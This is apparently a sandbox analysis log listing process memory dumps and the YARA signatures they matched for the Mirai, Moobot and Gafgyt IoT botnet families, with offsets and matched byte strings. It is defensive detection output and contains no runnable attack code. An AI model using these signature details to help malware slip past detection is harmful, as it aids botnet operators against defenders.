6891.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6891.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6891.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6891.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6891.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6891.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6287.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6618.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6618.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6618.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6618.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6618.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6618.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6253.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6796.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6796.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6796.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6796.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6796.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6796.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6481.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7080.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7080.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7080.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7080.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7080.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7080.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6978.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6978.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6978.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6978.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6978.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6978.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6367.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6367.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6367.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6367.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6367.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
